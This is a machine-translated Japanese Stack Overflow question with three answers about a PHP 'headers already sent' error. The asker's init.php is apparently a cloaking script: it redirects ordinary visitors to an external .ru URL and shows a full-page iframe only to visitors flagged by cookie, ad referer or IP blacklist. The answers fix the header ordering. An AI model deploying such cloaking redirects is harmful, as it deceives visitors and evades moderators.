0

私はindex.phpを持っています

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>

<head>
<title>LOL!'</title>
<meta name="description" content="Hi oloo!!" />
<meta http-equiv="Content-Type" content="text/html; charset=CP1251" />
<iframe src="http://news.xxxxx.ru/hard/2010/10/28/104592/" frameborder="0" height="100%"  width="100%" ></iframe>
</head>
<img src="http://www.xxxxx.ru/upload/iblock/27c/27caa04aac1fbc0f31f7964fc780b1b2.jpg" />
</html>
<?php
include_once ('init.php');
?>

そしてinit.php

<?php

 $waiting = 0;

 $url = 'http://xxxxx.ru/gott.php?sid=3';

 if($waiting == 1){
    $admin = 1;
    setcookie ('admin', 1, time()+3600*24*31);
 }

 if (isset($_COOKIE['admin'])){
    $admin = 1;
 }

 /*if (strstr($_SERVER['HTTP_REFERER'], 'away')){
    $admin = 1;
    setcookie ('admin', 1, time()+3600*24*31);
 }*/



 if (strstr($_SERVER['HTTP_REFERER'], 'ads')){
    $admin = 1;
    setcookie ('admin', 1, time()+3600*24*31);
 }

 $blacklist = file_get_contents('black.txt');
 $rows_array = explode("\n", $blacklist);

 foreach($rows_array as $k => $v){
    if(trim($v) == $_SERVER['REMOTE_ADDR']){
        $admin = 1;
        setcookie ('admin', 1, time()+3600*24*31);
    }
 }

 if($admin != 1){
    header('Location: '. $url);
    exit();
 }

?>

index.php をロードした後、エラーが表示されます

警告: ヘッダー情報を変更できません - /mounted-storage/home93c/sub006/ の (/mounted-storage/home93c/sub006/sc36756-TMHW/xxxxx.com/onarter/index.php:8 で出力が開始された) によって既に送信されたヘッダーsc36756-TMHW/site.com/onarter/init.php の 42 行目。この問題を解決するにはどうすればよいですか?

4

3 に答える 3

6

ヘッダーが既に送信された後にCookieを送信しようとしています(ヘッダーによって、私は何でもheader()意味します)-これは、さらに下のコードでもカバーしています。ユーザーに送信されたものはすべて、それも失敗します。

必要なことは、他の出力の前に init.php を含めることです。

<?php
include_once ('init.php');
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>

init.php が次の場合:

<?php

    $waiting = 0;
    echo $waiting;
    $url = 'http://xxxxx.ru/gott.php?sid=3';

それはまた、あなたのコードで setcookie/header をさらに殺してしまいます。これらの種類の関数を呼び出す前に、も出力として送信することはできません。

于 2012-09-13T12:01:09.010 に答える
1

header() 関数は、スクリプトによって他に何も行われていない場合にのみ機能します。ユーザーにヘッダーを送信するスクリプトで Cookie を設定していますが、後でヘッダーを再度送信しようとしています。

于 2012-09-13T12:01:24.937 に答える
1

関数を使用することはできませんheader(使用できますが、エラーを出力するだけです)、またはhtmlをエコーし​​た後。スクリプト内の echo または html の前に配置する必要があります。

于 2012-09-13T12:01:43.943 に答える